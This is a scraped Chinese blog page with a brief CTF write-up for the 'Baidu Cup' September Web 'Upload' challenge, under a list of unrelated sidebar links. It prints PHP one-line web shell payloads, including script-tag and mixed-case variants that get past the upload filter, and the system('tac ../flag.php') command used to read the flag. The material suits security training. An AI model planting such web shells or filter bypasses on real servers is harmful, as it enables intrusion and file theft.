当前位置:网站首页>“百度杯”CTF比赛 九月场,Web:Upload
“百度杯”CTF比赛 九月场,Web:Upload
2022-07-05 13:00:00 【Part 02】
题目内容:
想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中
<?php @eval($_POST['Pai']);?>
<script language="pphphp">@eval($_POST['Pai']);</script>
<script language="PHP">@eval($_POST['Pai']);</script>
此时页面和源码都看不到代码了,直接 post
Pai=phpinfo();
正常命令执行获取 flag
system('tac ../flag.php');
边栏推荐
- 实现 1~number 之间,所有数字的加和
- JPA规范总结和整理
- 手把手带你入门Apache伪静态的配置
- Realize the addition of all numbers between 1 and number
- Android本地Sqlite数据库的备份和还原
- Apicloud studio3 API management and debugging tutorial
- Introduction to sap ui5 dynamicpage control
- Didi open source Delta: AI developers can easily train natural language models
- [cloud native] event publishing and subscription in Nacos -- observer mode
- 函数的默认参数&函数参数的多种方法
猜你喜欢
SAP UI5 DynamicPage 控件介绍
CF:A. The Third Three Number Problem【关于我是位运算垃圾这个事情】
uni-app开发语音识别app,讲究的就是简单快速。
Hundred days to complete the open source task of the domestic database opengauss -- openguass minimalist version 3.0.0 installation tutorial
精彩速递|腾讯云数据库6月刊
ABAP editor in SAP segw transaction code
一文详解ASCII码,Unicode与utf-8
It's too convenient. You can complete the code release and approval by nailing it!
How to protect user privacy without password authentication?
leetcode:221. Maximum square [essence of DP state transition]
随机推荐
Navigation property and entityset usage in SAP segw transaction code
潘多拉 IOT 开发板学习(HAL 库)—— 实验7 窗口看门狗实验(学习笔记)
Le rapport de recherche sur l'analyse matricielle de la Force des fournisseurs de RPA dans le secteur bancaire chinois en 2022 a été officiellement lancé.
155. 最小栈
C# 对象存储
Flutter InkWell & Ink组件
Hundred days to complete the open source task of the domestic database opengauss -- openguass minimalist version 3.0.0 installation tutorial
Asemi rectifier bridge hd06 parameters, hd06 pictures, hd06 applications
#yyds干货盘点# 解决名企真题:搬圆桌
Insmod prompt invalid module format
Talk about my drawing skills in my writing career
爱可生SQLe审核工具顺利完成信通院‘SQL质量管理平台分级能力’评测
关于 SAP UI5 floating footer 显示与否的单步调试以及使用 SAP UI5 的收益
Yyds dry goods inventory # solve the real problem of famous enterprises: move the round table
How to realize batch sending when fishing
I'm doing open source in Didi
Lb10s-asemi rectifier bridge lb10s
聊聊异步编程的 7 种实现方式
Principle and configuration of RSTP protocol
Although the volume and price fall, why are the structural deposits of commercial banks favored by listed companies?